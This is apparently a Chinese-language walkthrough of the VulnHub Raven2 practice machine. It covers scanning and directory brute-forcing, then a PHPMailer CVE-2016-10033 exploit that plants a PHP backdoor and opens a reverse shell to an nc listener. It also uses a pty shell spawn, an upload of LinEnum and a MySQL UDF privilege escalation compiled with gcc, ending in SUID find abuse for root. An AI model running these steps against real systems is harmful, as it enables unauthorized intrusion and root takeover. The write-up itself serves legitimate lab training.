记一次对Raven2靶机的渗透测试

靶机的下载地址:https://download.vulnhub.com/raven/Raven2.ova

Raven 2是一个中等难度的boot2root 虚拟靶机,在多次被攻破后,Raven Security采取了额外措施来增强他们的网络服务器安全以防止黑客入侵。

总共4个flag需要找出。

0x01 靶机开机

记一次对Raven2靶机的渗透测试

0x02 利用netdiscover对eth0网卡进行探测

在kali输入Netdiscover -i eth0即可。

记一次对Raven2靶机的渗透测试

0x03 nmap扫描192.168.172.153

记一次对Raven2靶机的渗透测试

可知有22、80、111端口开放。

0x04 目录爆破

记一次对Raven2靶机的渗透测试

这里用的是gobuster。如果kali没有安装的,请自行安装。

Gobuster (dir) -u http://192.168.172.153 -w /usr/share/wordlists/dirb/common.txt

(声明这里的dir:如果不加dir,一旦报错说unknown flags -u的话,建议把dir加上,查看其他命令的话,可以输入gobuster -h)

记一次对Raven2靶机的渗透测试

先查看一下/vendor

记一次对Raven2靶机的渗透测试

嗯。。。 有点东西。在查看了目录之后,在PATH下看到了第一个flag。

记一次对Raven2靶机的渗透测试

flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

此外还有网站的目录地址也暴露了。

大致翻了一遍之后,觉得服务器大概装了PHPMailer。

记一次对Raven2靶机的渗透测试

0x05 PHPMailer漏洞的利用

首先用kali的searchsploit来查找PHPMailer的漏洞

Searchsploit phpmailer

记一次对Raven2靶机的渗透测试

这里给出了要利用的phpmailer的版本号,而目录里面的version给的大概就是版本号吧。

记一次对Raven2靶机的渗透测试

这里,我选用40974.py.使用cp命令将py文件复制到自己相应的目录里

(你可以使用searchsploit -x exploits/php/webapps/40974.py来查看其内容,在查看其内容后,可以知道这个漏洞的编号为CVE-2016-10033)

查看该漏洞的信息资料:https://www.anquanke.com/post/id/85295

通过查看资料后,可以知道这个漏洞是因为邮件地址能够包含用引号括起来的空格,从而进行攻击参数的注入。

查看网站的邮件页面地址:http://192.168.172.153/contact.php

记一次对Raven2靶机的渗透测试

记一次对Raven2靶机的渗透测试

接下来就是

1.修改40974.py里面的内容开头加上

#!/usr/bin/python

# -*- coding:utf-8 -*-

 

2.修改target地址为网站的邮件页面地址:http://192.168.172.153/contact.php

修改backdoor为’/an.php’,默认的backdoor.php执行时无法生成(原因可能是如介绍说这个靶机多次被攻击增加了安全性,这类敏感字肯定会被ban)

记一次对Raven2靶机的渗透测试

3.修改payload的内容

记一次对Raven2靶机的渗透测试

输入python 40974.py,以下是执行成功的页面

记一次对Raven2靶机的渗透测试

可能在执行python 40974.py会报错并提示安装requests-toolbelt模块

输入pip install requests-toolbelt即可

 

然后就是在kali里,用nc设置相应的监听端口

nc -lvnp 4444(这里的端口是先前payload那里设置的)

记一次对Raven2靶机的渗透测试

然后访问http://192.168.172.153/contact.php,访问该网址后,会在网站目录创建一个先前写payload的php文件,我这里是an.php

记一次对Raven2靶机的渗透测试

输入id查看权限,发现是33的www-data权限(是0多好啊)

记一次对Raven2靶机的渗透测试

先找找flag吧,只知道一个flag3,但是flag2呢?

记一次对Raven2靶机的渗透测试

试试其他的命令

find / -name “flag*”

输入该命令后,出来的东西有点多,不过在下面部分还是找到了

记一次对Raven2靶机的渗透测试

直接cat命令看flag2,flag3在html目录下,而且是个图片,在浏览器看吧

记一次对Raven2靶机的渗透测试

记一次对Raven2靶机的渗透测试

0x06 提权找flag4

准备上传个LinEnum.sh进行信息收集

在命令输入git clone https://github.com/rebootuser/LinEnum下载LinEnum.sh。

下载好之后使用wget上传即可

(记得启动一个http服务、记得启动一个http服务、记得启动一个http服务!!!)

我这里使用python的SimpleHTTPServer模块:

Python2:输入python -m SimpleHTTPServer

Python3:输入python -m http.server

(SimpleHTTPServer模块默认使用的是8000端口,也可以在上面的命令后面跟上你要指定的端口号)

 

使用python的pty模块来获取一个伪终端

pty模块:https://cloud.tencent.com/developer/section/1372585

Python -c ‘import pty;pty.spawn(“/bin/bash”)’

记一次对Raven2靶机的渗透测试

上传LinEnum.sh

记一次对Raven2靶机的渗透测试

加权运行

记一次对Raven2靶机的渗透测试

信息有点多,需要点时间来看,这里看到MySQL是使用root运行的,所以UDF很快乐。

记一次对Raven2靶机的渗透测试

漏洞信息:

https://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

如果MySQL版本 <= 5.7.14,5.6.32,5.5.51就可以使用该漏洞提权,所以去找找,看能不能找到MySQL的版本号,前面我们知道是wordpress,所以寻找wp-config文件。

记一次对Raven2靶机的渗透测试

记一次对Raven2靶机的渗透测试

登陆MySQL,并查询版本号

记一次对Raven2靶机的渗透测试

所以可以使用该漏洞

wget https://www.exploit-db.com/exploits/1518

上面这条命令,不知道是什么原因,在编译的时候一直报错,所以我就手动去复制的

vim raptor_udf.c

gcc -g -c raptor_udf.c

gcc -g -shared -o raptor_udf.so raptor_udf.o -lc

mv raptor_udf.so an_udf.so

记一次对Raven2靶机的渗透测试

将an_udf.so上传到靶机

记一次对Raven2靶机的渗透测试

然后就是参照https://www.exploit-db.com/exploits/1518上面来执行相应的命令

记一次对Raven2靶机的渗透测试

使用fimd执行命令提权成功,最后就是找flag4了

记一次对Raven2靶机的渗透测试

记一次对Raven2靶机的渗透测试

0x07 总结

1.使用netdiscover探测内网存活主机和nmap扫描主机开放的端口

2.PHPMailer的漏洞反弹得到shell

3.python版的EXP修改

4.查看wordpress的wp-config.php配置文件得到数据库账号密码

5.MySQL版本 <= 7.14  5.6.32  5.5.51   可以利用UDF提权

6.Kali对EXP的编译

7.给程序chmod u+s 增加suid权限,可以以root权限运行

8.利用带有suid标志的find命令进行命令执行拿到root shell

上一篇:05hive函数


下一篇:UDF 提权原理及应用